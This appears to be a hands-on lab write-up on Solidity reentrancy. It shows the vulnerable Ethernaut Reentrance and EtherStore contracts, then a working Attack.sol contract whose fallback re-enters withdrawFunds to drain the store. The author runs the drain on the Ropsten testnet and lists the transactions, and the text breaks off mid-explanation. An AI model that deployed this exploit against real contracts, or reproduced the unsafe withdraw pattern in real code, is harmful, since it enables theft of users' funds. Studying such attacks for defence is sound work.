Examples

Ethernaut

pragma solidity ^0.4.18;
contract Reentrance {
  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  function() public payable {}
}

This Ethernaut level exploits this reentrancy issue and the following, additional factors that led to the DAO hack: • Fallback functions can be called by anyone & execute malicious code • Malicious external contracts can abuse withdrawals

EtherStore

EtherStore.sol

pragma solidity 0.4.18;
contract EtherStore {
    uint256 public withdrawalLimit = 0.1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;
    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

Note: withdrawLimit set to 0.1 ether.

Deployed on Ropsten: https://ropsten.etherscan.io/tx/0x34996d7830b216d93e5ecda9468fe472e485dbdb609884405e7f1b5c74533d39

From (Metamask): 0x109bb3673f445d8b0d2b04436d7b4a630b873b81 To (contract): 0x52b2a43b59a39f4c863aa86da6c6fe73b33bdc73

Attack.sol

pragma solidity 0.4.18;

contract EtherStore {
        function depositFunds() public payable {}
        function withdrawFunds(uint256) public {}
}

contract Attack {
    //EtherStore public etherStore;
    EtherStore public etherStore;
        function Attack(address _t) public {
        etherStore = EtherStore(_t);
    }
  function attackEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 0.1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(0.1 ether)();
      // start the magic
      etherStore.withdrawFunds(0.1 ether);
  }
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 0.1 ether) {
          etherStore.withdrawFunds(0.1 ether);
      }
  }
}

https://ropsten.etherscan.io/tx/0x551f6d272274edbef299763343a4daea58438ef20522ed526ecfea7bff59734f From: 0x109bb3673f445d8b0d2b04436d7b4a630b873b81 To: 0x733146fa7f8b40f4c97d946efeb7bdc9ff69ba6e

Deposit some Eth from Metamask (pretend this is some other user/victim) to EtherStore (to steal later): https://ropsten.etherscan.io/tx/0x58671521d2c0df635bf0c3986d53186e38ebe8d4f7d62c2fb5f681e0d938bec6

I can now check the balance of my Metamask account by calling the balances mapping:

Send 0.1 eth from the Attack.sol contract so that it has some balance to call withdrawFunds() later.

The following transaction sends 0.1 eth to Attack.sol's payable attackEtherStore() function which will in turn deposit and subsequently withdraw funds from EtherStore.sol

From: 0x109Bb3673f445D8b0d2b04436D7b4a630B873B81 To: 0x733146Fa7F8B40f4c97d946EfEb7bdc9ff69BA6E Tx: https://ropsten.etherscan.io/tx/0xb6e7cc1fbd093691d75f0a877a5efb998591f88aac938c3e836b6de918a8594a

Once executed, we can see the current balance is 0.1 eth, even though 0.5 was sent

Because 5 ether were actually sent

Notice that the first Tx in the followig image shows 0.1 ether being sent from the Attack.sol address to EtherStore.sol, followed by 5 outgoing transacions from the EtherStore.sol to Attack.Sol contract. Now Attack.sol has 0.5 eth!!!

Also the Attack.sol contract has a massive balance on EtherStore, not sure why:

Calling CollectEther() Sends those 0.5 eth back to our wallet address!

https://ropsten.etherscan.io/tx/0xf11dcf8de8bed562a8b4f0d977efbe2db8940adee4745c0400e8f44b95ffed93

This becomes clearer is we export the internal transactions to csv: